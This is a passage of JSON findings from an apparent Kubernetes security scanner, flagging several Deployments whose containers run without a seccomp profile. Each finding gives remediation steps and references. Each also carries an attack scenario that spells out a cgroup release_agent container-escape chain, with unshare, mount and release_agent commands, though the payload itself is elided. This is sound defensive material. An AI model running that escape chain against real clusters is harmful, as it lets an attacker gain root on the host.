    "description": "Container `app` in `Deployment/gw-workloads/gw-web` either omits `securityContext.seccompProfile` (at both container and pod level) or sets it to `Unconfined`. The container therefore inherits the host kernel's unfiltered syscall surface — roughly 340 syscalls on a modern x86_64 Linux. The runtime's default seccomp profile (`RuntimeDefault`) blocks about 44 of those, including the syscall families that container-escape exploits depend on.\n\nWhy that matters in practice: most container-escape CVEs published in the last five years were either fully blocked or substantially harder to weaponise under `RuntimeDefault`. CVE-2022-0492 (cgroup release_agent escape) needs `unshare(CLONE_NEWUSER|CLONE_NEWNS)` and `mount` — both filtered. CVE-2024-21626 \"Leaky Vessels\" abuses runc's working-directory handling at process start; default seccomp doesn't fully neutralise it but blocks several reliable post-exploitation primitives. Dirty Pipe (CVE-2022-0847), CVE-2022-0185 fsconfig, and the user-namespace + io_uring chain (CVE-2022-32250 family) all hit syscalls the default profile denies (`keyctl`, `add_key`, `bpf`, `userfaultfd`, `clone3` with namespace flags).\n\nThe Pod Security Standards Restricted level mandates `seccompProfile.type: RuntimeDefault` or `Localhost` (with a pinned profile name). `Unconfined` is explicit opt-out and is forbidden. Container-level overrides take precedence; if absent, the pod-level setting applies. With nothing set at either level, the kernel runs the container without a seccomp filter at all.",
    "resource": {
      "kind": "Deployment",
      "name": "gw-web",
      "namespace": "gw-workloads",
      "api_group": "apps"
    },
    "namespace": "gw-workloads",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/gw-workloads/gw-web`"
    },
    "impact": "Restores the full Linux syscall surface to in-container code; every recent container-escape exploit becomes substantially more reliable.",
    "attack_scenario": [
      "Gain code execution inside the container.",
      "Check the seccomp state: `grep Seccomp /proc/1/status` returns `0` (disabled) or `Unconfined`. Under `RuntimeDefault` it would return `2` (filtered).",
      "Stage a cgroup release_agent escape (CVE-2022-0492 class): `unshare -UrmC --propagation=unchanged` to spawn a user-namespaced shell, then `mount -t cgroup -o rdma cgroup /mnt/c \u0026\u0026 echo 1 \u003e /mnt/c/notify_on_release \u0026\u0026 echo '#!/bin/sh\\nbash -c \"...\" \u003e /tmp/x' \u003e /mnt/c/release_agent`.",
      "Trigger the release: write a PID to `cgroup.procs` and exit. The kernel runs the release_agent payload on the host as root.",
      "Under `RuntimeDefault` the same chain fails at step 3 because `unshare` returns `EPERM`; the escape cannot start."
    ],
    "evidence": {
      "container": "app"
    },
    "remediation": "Set `securityContext.seccompProfile.type: RuntimeDefault` on every container (or once at the pod level).",
    "remediation_steps": [
      "Add `seccompProfile: { type: RuntimeDefault }` to either each container's `securityContext` or the pod-level `securityContext` (container-level wins on conflict).",
      "For workloads that need a non-default filter (eBPF tooling, debuggers), ship a custom profile under `/var/lib/kubelet/seccomp/profiles/` on each node and set `type: Localhost` with `localhostProfile: \u003cpath\u003e`. Never use `Unconfined`.",
      "Apply Pod Security Admission `restricted` to the namespace to lock the requirement in at admit time.",
      "Validate: `kubectl exec -n gw-workloads \u003cpod\u003e -- grep Seccomp /proc/1/status` returns `2`. Inspect spec: `kubectl get deployment/gw-web -n gw-workloads -o jsonpath='{.spec.template.spec.containers[*].securityContext.seccompProfile.type}'`."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/",
      "https://kubernetes.io/docs/tutorials/security/seccomp/",
      "https://docs.docker.com/engine/security/seccomp/",
      "https://nvd.nist.gov/vuln/detail/CVE-2022-0492"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Kubernetes — Configure a Security Context for a Pod or Container",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/"
      },
      {
        "title": "Kubernetes — Restrict a Container's Syscalls with seccomp",
        "url": "https://kubernetes.io/docs/tutorials/security/seccomp/"
      },
      {
        "title": "Docker — Seccomp security profiles",
        "url": "https://docs.docker.com/engine/security/seccomp/"
      },
      {
        "title": "CVE-2022-0492 — cgroup release_agent container escape",
        "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-0492"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1548.001",
        "name": "Setuid and Setgid",
        "url": "https://attack.mitre.org/techniques/T1548/001/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.7.2",
        "title": "Ensure that the seccomp profile is set to docker/default in your pod definitions",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:seccompProfile"
    ]
  },
  {
    "id": "KUBE-PODSEC-SECCOMP-001:Deployment:hookbackend-fixtures:hookbackend-injector:app",
    "rule_id": "KUBE-PODSEC-SECCOMP-001",
    "severity": "MEDIUM",
    "score": 5.5,
    "category": "privilege_escalation",
    "title": "Container `app` runs without a seccomp profile in `Deployment/hookbackend-fixtures/hookbackend-injector`",
    "description": "Container `app` in `Deployment/hookbackend-fixtures/hookbackend-injector` either omits `securityContext.seccompProfile` (at both container and pod level) or sets it to `Unconfined`. The container therefore inherits the host kernel's unfiltered syscall surface — roughly 340 syscalls on a modern x86_64 Linux. The runtime's default seccomp profile (`RuntimeDefault`) blocks about 44 of those, including the syscall families that container-escape exploits depend on.\n\nWhy that matters in practice: most container-escape CVEs published in the last five years were either fully blocked or substantially harder to weaponise under `RuntimeDefault`. CVE-2022-0492 (cgroup release_agent escape) needs `unshare(CLONE_NEWUSER|CLONE_NEWNS)` and `mount` — both filtered. CVE-2024-21626 \"Leaky Vessels\" abuses runc's working-directory handling at process start; default seccomp doesn't fully neutralise it but blocks several reliable post-exploitation primitives. Dirty Pipe (CVE-2022-0847), CVE-2022-0185 fsconfig, and the user-namespace + io_uring chain (CVE-2022-32250 family) all hit syscalls the default profile denies (`keyctl`, `add_key`, `bpf`, `userfaultfd`, `clone3` with namespace flags).\n\nThe Pod Security Standards Restricted level mandates `seccompProfile.type: RuntimeDefault` or `Localhost` (with a pinned profile name). `Unconfined` is explicit opt-out and is forbidden. Container-level overrides take precedence; if absent, the pod-level setting applies. With nothing set at either level, the kernel runs the container without a seccomp filter at all.",
    "resource": {
      "kind": "Deployment",
      "name": "hookbackend-injector",
      "namespace": "hookbackend-fixtures",
      "api_group": "apps"
    },
    "namespace": "hookbackend-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/hookbackend-fixtures/hookbackend-injector`"
    },
    "impact": "Restores the full Linux syscall surface to in-container code; every recent container-escape exploit becomes substantially more reliable.",
    "attack_scenario": [
      "Gain code execution inside the container.",
      "Check the seccomp state: `grep Seccomp /proc/1/status` returns `0` (disabled) or `Unconfined`. Under `RuntimeDefault` it would return `2` (filtered).",
      "Stage a cgroup release_agent escape (CVE-2022-0492 class): `unshare -UrmC --propagation=unchanged` to spawn a user-namespaced shell, then `mount -t cgroup -o rdma cgroup /mnt/c \u0026\u0026 echo 1 \u003e /mnt/c/notify_on_release \u0026\u0026 echo '#!/bin/sh\\nbash -c \"...\" \u003e /tmp/x' \u003e /mnt/c/release_agent`.",
      "Trigger the release: write a PID to `cgroup.procs` and exit. The kernel runs the release_agent payload on the host as root.",
      "Under `RuntimeDefault` the same chain fails at step 3 because `unshare` returns `EPERM`; the escape cannot start."
    ],
    "evidence": {
      "container": "app"
    },
    "remediation": "Set `securityContext.seccompProfile.type: RuntimeDefault` on every container (or once at the pod level).",
    "remediation_steps": [
      "Add `seccompProfile: { type: RuntimeDefault }` to either each container's `securityContext` or the pod-level `securityContext` (container-level wins on conflict).",
      "For workloads that need a non-default filter (eBPF tooling, debuggers), ship a custom profile under `/var/lib/kubelet/seccomp/profiles/` on each node and set `type: Localhost` with `localhostProfile: \u003cpath\u003e`. Never use `Unconfined`.",
      "Apply Pod Security Admission `restricted` to the namespace to lock the requirement in at admit time.",
      "Validate: `kubectl exec -n hookbackend-fixtures \u003cpod\u003e -- grep Seccomp /proc/1/status` returns `2`. Inspect spec: `kubectl get deployment/hookbackend-injector -n hookbackend-fixtures -o jsonpath='{.spec.template.spec.containers[*].securityContext.seccompProfile.type}'`."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/",
      "https://kubernetes.io/docs/tutorials/security/seccomp/",
      "https://docs.docker.com/engine/security/seccomp/",
      "https://nvd.nist.gov/vuln/detail/CVE-2022-0492"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Kubernetes — Configure a Security Context for a Pod or Container",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/"
      },
      {
        "title": "Kubernetes — Restrict a Container's Syscalls with seccomp",
        "url": "https://kubernetes.io/docs/tutorials/security/seccomp/"
      },
      {
        "title": "Docker — Seccomp security profiles",
        "url": "https://docs.docker.com/engine/security/seccomp/"
      },
      {
        "title": "CVE-2022-0492 — cgroup release_agent container escape",
        "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-0492"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1548.001",
        "name": "Setuid and Setgid",
        "url": "https://attack.mitre.org/techniques/T1548/001/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.7.2",
        "title": "Ensure that the seccomp profile is set to docker/default in your pod definitions",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:seccompProfile"
    ]
  },
  {
    "id": "KUBE-PODSEC-SECCOMP-001:Deployment:imgswap-fixtures:imgswap-reader-app:app",
    "rule_id": "KUBE-PODSEC-SECCOMP-001",
    "severity": "MEDIUM",
    "score": 5.5,
    "category": "privilege_escalation",
    "title": "Container `app` runs without a seccomp profile in `Deployment/imgswap-fixtures/imgswap-reader-app`",
    "description": "Container `app` in `Deployment/imgswap-fixtures/imgswap-reader-app` either omits `securityContext.seccompProfile` (at both container and pod level) or sets it to `Unconfined`. The container therefore inherits the host kernel's unfiltered syscall surface — roughly 340 syscalls on a modern x86_64 Linux. The runtime's default seccomp profile (`RuntimeDefault`) blocks about 44 of those, including the syscall families that container-escape exploits depend on.\n\nWhy that matters in practice: most container-escape CVEs published in the last five years were either fully blocked or substantially harder to weaponise under `RuntimeDefault`. CVE-2022-0492 (cgroup release_agent escape) needs `unshare(CLONE_NEWUSER|CLONE_NEWNS)` and `mount` — both filtered. CVE-2024-21626 \"Leaky Vessels\" abuses runc's working-directory handling at process start; default seccomp doesn't fully neutralise it but blocks several reliable post-exploitation primitives. Dirty Pipe (CVE-2022-0847), CVE-2022-0185 fsconfig, and the user-namespace + io_uring chain (CVE-2022-32250 family) all hit syscalls the default profile denies (`keyctl`, `add_key`, `bpf`, `userfaultfd`, `clone3` with namespace flags).\n\nThe Pod Security Standards Restricted level mandates `seccompProfile.type: RuntimeDefault` or `Localhost` (with a pinned profile name). `Unconfined` is explicit opt-out and is forbidden. Container-level overrides take precedence; if absent, the pod-level setting applies. With nothing set at either level, the kernel runs the container without a seccomp filter at all.",
    "resource": {
      "kind": "Deployment",
      "name": "imgswap-reader-app",
      "namespace": "imgswap-fixtures",
      "api_group": "apps"
    },
    "namespace": "imgswap-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/imgswap-fixtures/imgswap-reader-app`"
    },
    "impact": "Restores the full Linux syscall surface to in-container code; every recent container-escape exploit becomes substantially more reliable.",
    "attack_scenario": [
      "Gain code execution inside the container.",
      "Check the seccomp state: `grep Seccomp /proc/1/status` returns `0` (disabled) or `Unconfined`. Under `RuntimeDefault` it would return `2` (filtered).",
      "Stage a cgroup release_agent escape (CVE-2022-0492 class): `unshare -UrmC --propagation=unchanged` to spawn a user-namespaced shell, then `mount -t cgroup -o rdma cgroup /mnt/c \u0026\u0026 echo 1 \u003e /mnt/c/notify_on_release \u0026\u0026 echo '#!/bin/sh\\nbash -c \"...\" \u003e /tmp/x' \u003e /mnt/c/release_agent`.",
      "Trigger the release: write a PID to `cgroup.procs` and exit. The kernel runs the release_agent payload on the host as root.",
      "Under `RuntimeDefault` the same chain fails at step 3 because `unshare` returns `EPERM`; the escape cannot start."
    ],
    "evidence": {
      "container": "app"
    },
    "remediation": "Set `securityContext.seccompProfile.type: RuntimeDefault` on every container (or once at the pod level).",
    "remediation_steps": [
      "Add `seccompProfile: { type: RuntimeDefault }` to either each container's `securityContext` or the pod-level `securityContext` (container-level wins on conflict).",
      "For workloads that need a non-default filter (eBPF tooling, debuggers), ship a custom profile under `/var/lib/kubelet/seccomp/profiles/` on each node and set `type: Localhost` with `localhostProfile: \u003cpath\u003e`. Never use `Unconfined`.",
      "Apply Pod Security Admission `restricted` to the namespace to lock the requirement in at admit time.",
      "Validate: `kubectl exec -n imgswap-fixtures \u003cpod\u003e -- grep Seccomp /proc/1/status` returns `2`. Inspect spec: `kubectl get deployment/imgswap-reader-app -n imgswap-fixtures -o jsonpath='{.spec.template.spec.containers[*].securityContext.seccompProfile.type}'`."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/",
      "https://kubernetes.io/docs/tutorials/security/seccomp/",
      "https://docs.docker.com/engine/security/seccomp/",
      "https://nvd.nist.gov/vuln/detail/CVE-2022-0492"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Kubernetes — Configure a Security Context for a Pod or Container",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/"
      },
      {
        "title": "Kubernetes — Restrict a Container's Syscalls with seccomp",
        "url": "https://kubernetes.io/docs/tutorials/security/seccomp/"
      },
      {
        "title": "Docker — Seccomp security profiles",
        "url": "https://docs.docker.com/engine/security/seccomp/"
      },
      {
        "title": "CVE-2022-0492 — cgroup release_agent container escape",
        "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-0492"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1548.001",
        "name": "Setuid and Setgid",
        "url": "https://attack.mitre.org/techniques/T1548/001/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.7.2",
        "title": "Ensure that the seccomp profile is set to docker/default in your pod definitions",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:seccompProfile"
    ]
  },
  {
    "id": "KUBE-PODSEC-SECCOMP-001:Deployment:ingress-only:ingress-app:app",
    "rule_id": "KUBE-PODSEC-SECCOMP-001",
    "severity": "MEDIUM",
    "score": 5.5,
    "category": "privilege_escalation",
    "title": "Container `app` runs without a seccomp profile in `Deployment/ingress-only/ingress-app`",
    "description": "Container `app` in `Deployment/ingress-only/ingress-app` either omits `securityContext.seccompProfile` (at both container and pod level) or sets it to `Unconfined`. The container therefore inherits the host kernel's unfiltered syscall surface — roughly 340 syscalls on a modern x86_64 Linux. The runtime's default seccomp profile (`RuntimeDefault`) blocks about 44 of those, including the syscall families that container-escape exploits depend on.\n\nWhy that matters in practice: most container-escape CVEs published in the last five years were either fully blocked or substantially harder to weaponise under `RuntimeDefault`. CVE-2022-0492 (cgroup release_agent escape) needs `unshare(CLONE_NEWUSER|CLONE_NEWNS)` and `mount` — both filtered. CVE-2024-21626 \"Leaky Vessels\" abuses runc's working-directory handling at process start; default seccomp doesn't fully neutralise it but blocks several reliable post-exploitation primitives. Dirty Pipe (CVE-2022-0847), CVE-2022-0185 fsconfig, and the user-namespace + io_uring chain (CVE-2022-32250 family) all hit syscalls the default profile denies (`keyctl`, `add_key`, `bpf`, `userfaultfd`, `clone3` with namespace flags).\n\nThe Pod Security Standards Restricted level mandates `seccompProfile.type: RuntimeDefault` or `Localhost` (with a pinned profile name). `Unconfined` is explicit opt-out and is forbidden. Container-level overrides take precedence; if absent, the pod-level setting applies. With nothing set at either level, the kernel runs the container without a seccomp filter at all.",
    "resource": {
      "kind": "Deployment",
      "name": "ingress-app",
      "namespace": "ingress-only",
      "api_group": "apps"
    },
    "namespace": "ingress-only",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/ingress-only/ingress-app`"
    },
    "impact": "Restores the full Linux syscall surface to in-container code; every recent container-escape exploit becomes substantially more reliable.",
    "attack_scenario": [
      "Gain code execution inside the container.",
      "Check the seccomp state: `grep Seccomp /proc/1/status` returns `0` (disabled) or `Unconfined`. Under `RuntimeDefault` it would return `2` (filtered).",
      "Stage a cgroup release_agent escape (CVE-2022-0492 class): `unshare -UrmC --propagation=unchanged` to spawn a user-namespaced shell, then `mount -t cgroup -o rdma cgroup /mnt/c \u0026\u0026 echo 1 \u003e /mnt/c/notify_on_release \u0026\u0026 echo '#!/bin/sh\\nbash -c \"...\" \u003e /tmp/x' \u003e /mnt/c/release_agent`.",
      "Trigger the release: write a PID to `cgroup.procs` and exit. The kernel runs the release_agent payload on the host as root.",
      "Under `RuntimeDefault` the same chain fails at step 3 because `unshare` returns `EPERM`; the escape cannot start."
    ],
    "evidence": {
      "container": "app"
    },
    "remediation": "Set `securityContext.seccompProfile.type: RuntimeDefault` on every container (or once at the pod level).",
    "remediation_steps": [
      "Add `seccompProfile: { type: RuntimeDefault }` to either each container's `securityContext` or the pod-level `securityContext` (container-level wins on conflict).",
      "For workloads that need a non-default filter (eBPF tooling, debuggers), ship a custom profile under `/var/lib/kubelet/seccomp/profiles/` on each node and set `type: Localhost` with `localhostProfile: \u003cpath\u003e`. Never use `Unconfined`.",
      "Apply Pod Security Admission `restricted` to the namespace to lock the requirement in at admit time.",
      "Validate: `kubectl exec -n ingress-only \u003cpod\u003e -- grep Seccomp /proc/1/status` returns `2`. Inspect spec: `kubectl get deployment/ingress-app -n ingress-only -o jsonpath='{.spec.template.spec.containers[*].securityContext.seccompProfile.type}'`."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/",
      "https://kubernetes.io/docs/tutorials/security/seccomp/",
      "https://docs.docker.com/engine/security/seccomp/",
      "https://nvd.nist.gov/vuln/detail/CVE-2022-0492"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Kubernetes — Configure a Security Context for a Pod or Container",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/"
      },
      {
        "title": "Kubernetes — Restrict a Container's Syscalls with seccomp",
        "url": "https://kubernetes.io/docs/tutorials/security/seccomp/"
      },
      {
        "title": "Docker — Seccomp security profiles",
        "url": "https://docs.docker.com/engine/security/seccomp/"
      },
      {
        "title": "CVE-2022-0492 — cgroup release_agent container escape",
        "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-0492"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1548.001",
        "name": "Setuid and Setgid",
        "url": "https://attack.mitre.org/techniques/T1548/001/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.7.2",
        "title": "Ensure that the seccomp profile is set to docker/default in your pod definitions",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:seccompProfile"
    ]
  },
  {
    "id": "KUBE-PODSEC-SECCOMP-001:Deployment:lp-fixtures:lp-narrow-app:app",
    "rule_id": "KUBE-PODSEC-SECCOMP-001",
    "severity": "MEDIUM",
    "score": 5.5,
    "category": "privilege_escalation",
    "title": "Container `app` runs without a seccomp profile in `Deployment/lp-fixtures/lp-narrow-app`",
    "description": "Container `app` in `Deployment/lp-fixtures/lp-narrow-app` either omits `securityContext.seccompProfile` (at both container and pod level) or sets it to `Unconfined`. The container therefore inherits the host kernel's unfiltered syscall surface — roughly 340 syscalls on a modern x86_64 Linux. The runtime's default seccomp profile (`RuntimeDefault`) blocks about 44 of those, including the syscall families that container-escape exploits depend on.\n\nWhy that matters in practice: most container-escape CVEs published in the last five years were either fully blocked or substantially harder to weaponise under `RuntimeDefault`. CVE-2022-0492 (cgroup release_agent escape) needs `unshare(CLONE_NEWUSER|CLONE_NEWNS)` and `mount` — both filtered. CVE-2024-21626 \"Leaky Vessels\" abuses runc's working-directory handling at process start; default seccomp doesn't fully neutralise it but blocks several reliable post-exploitation primitives. Dirty Pipe (CVE-2022-0847), CVE-2022-0185 fsconfig, and the user-namespace + io_uring chain (CVE-2022-32250 family) all hit syscalls the default profile denies (`keyctl`, `add_key`, `bpf`, `userfaultfd`, `clone3` with namespace flags).\n\nThe Pod Security Standards Restricted level mandates `seccompProfile.type: RuntimeDefault` or `Localhost` (with a pinned profile name). `Unconfined` is explicit opt-out and is forbidden. Container-level overrides take precedence; if absent, the pod-level setting applies. With nothing set at either level, the kernel runs the container without a seccomp filter at all.",
    "resource": {
      "kind": "Deployment",
      "name": "lp-narrow-app",
      "namespace": "lp-fixtures",
      "api_group": "apps"
    },
    "namespace": "lp-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/lp-fixtures/lp-narrow-app`"
    },
    "impact": "Restores the full Linux syscall surface to in-container code; every recent container-escape exploit becomes substantially more reliable.",
    "attack_scenario": [
      "Gain code execution inside the container.",
      "Check the seccomp state: `grep Seccomp /proc/1/status` returns `0` (disabled) or `Unconfined`. Under `RuntimeDefault` it would return `2` (filtered).",
      "Stage a cgroup release_agent escape (CVE-2022-0492 class): `unshare -UrmC --propagation=unchanged` to spawn a user-namespaced shell, then `mount -t cgroup -o rdma cgroup /mnt/c \u0026\u0026 echo 1 \u003e /mnt/c/notify_on_release \u0026\u0026 echo '#!/bin/sh\\nbash -c \"...\" \u003e /tmp/x' \u003e /mnt/c/release_agent`.",
      "Trigger the release: write a PID to `cgroup.procs` and exit. The kernel runs the release_agent payload on the host as root.",
      "Under `RuntimeDefault` the same chain fails at step 3 because `unshare` returns `EPERM`; the escape cannot start."
    ],
    "evidence": {
      "container": "app"
    },
    "remediation": "Set `securityContext.seccompProfile.type: RuntimeDefault` on every container (or once at the pod level).",
    "remediation_steps": [
      "Add `seccompProfile: { type: RuntimeDefault }` to either each container's `securityContext` or the pod-level `securityContext` (container-level wins on conflict).",
      "For workloads that need a non-default filter (eBPF tooling, debuggers), ship a custom profile under `/var/lib/kubelet/seccomp/profiles/` on each node and set `type: Localhost` with `localhostProfile: \u003cpath\u003e`. Never use `Unconfined`.",
      "Apply Pod Security Admission `restricted` to the namespace to lock the requirement in at admit time.",
      "Validate: `kubectl exec -n lp-fixtures \u003cpod\u003e -- grep Seccomp /proc/1/status` returns `2`. Inspect spec: `kubectl get deployment/lp-narrow-app -n lp-fixtures -o jsonpath='{.spec.template.spec.containers[*].securityContext.seccompProfile.type}'`."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/",
      "https://kubernetes.io/docs/tutorials/security/seccomp/",
      "https://docs.docker.com/engine/security/seccomp/",
      "https://nvd.nist.gov/vuln/detail/CVE-2022-0492"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Kubernetes — Configure a Security Context for a Pod or Container",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/"
      },
      {
        "title": "Kubernetes — Restrict a Container's Syscalls with seccomp",
        "url": "https://kubernetes.io/docs/tutorials/security/seccomp/"
      },
      {
        "title": "Docker — Seccomp security profiles",
        "url": "https://docs.docker.com/engine/security/seccomp/"
      },
      {
        "title": "CVE-2022-0492 — cgroup release_agent container escape",
        "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-0492"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1548.001",
        "name": "Setuid and Setgid",
        "url": "https://attack.mitre.org/techniques/T1548/001/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.7.2",
        "title": "Ensure that the seccomp profile is set to docker/default in your pod definitions",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:seccompProfile"
    ]
  },
  {
    "id": "KUBE-PODSEC-SECCOMP-001:Deployment:lp-fixtures:lp-orphan-app:app",
    "rule_id": "KUBE-PODSEC-SECCOMP-001",
    "severity": "MEDIUM",
    "score": 5.5,
    "category": "privilege_escalation",
    "title": "Container `app` runs without a seccomp profile in `Deployment/lp-fixtures/lp-orphan-app`",
